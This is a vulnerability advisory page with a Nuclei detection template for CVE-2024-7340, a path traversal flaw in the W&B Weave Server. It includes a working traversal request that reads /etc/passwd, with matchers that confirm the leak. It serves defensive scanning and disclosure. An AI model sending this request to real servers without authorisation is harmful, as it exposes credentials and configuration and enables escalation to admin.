W&B Weave Server - Remote Arbitrary File Leak

highseverity

8.8CVSS score

5%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

The Weave server API allows remote users to fetch files from a specific directory, but due to a lack of input validation, it is possible to traverse and leak arbitrary files remotely. In various common scenarios, this allows a low-privileged user to assume the role of the server admin.

Impact

Authenticated low-privileged attackers can exploit path traversal to read arbitrary files from the server, potentially accessing sensitive configuration files and credentials to escalate privileges to admin level.

Fix

Update W&B Weave Server to a version that includes the fix from pull request #1657 addressing the path traversal vulnerability.

How to confirm it

Send: GET /__weave/file/tmp/weave/fs/../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND contains in header "application/octet-stream" and "filename=passwd" AND status 200

Run it with nuclei: nuclei -id CVE-2024-7340 -u <target>

The full check

id: CVE-2024-7340

info:
  name: W&B Weave Server - Remote Arbitrary File Leak
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    The Weave server API allows remote users to fetch files from a specific directory, but due to a lack of input validation, it is possible to traverse and leak arbitrary files remotely. In various common scenarios, this allows a low-privileged user to assume the role of the server admin.
  impact: |
    Authenticated low-privileged attackers can exploit path traversal to read arbitrary files from the server, potentially accessing sensitive configuration files and credentials to escalate privileges to admin level.
  remediation: |
    Update W&B Weave Server to a version that includes the fix from pull request #1657 addressing the path traversal vulnerability.
  reference:
    - https://github.com/advisories/GHSA-r49h-6qxq-624f
    - https://github.com/wandb/weave/pull/1657
    - https://research.jfrog.com/vulnerabilities/wandb-weave-server-remote-arbitrary-file-leak-jfsa-2024-001039248/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2024-7340
    epss-score: 0.05015
    epss-percentile: 0.92318
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2024,lfr,weave,wandb,vuln

http:
  - raw:
      - |
        GET /__weave/file/tmp/weave/fs/../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"
          - "filename=passwd"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from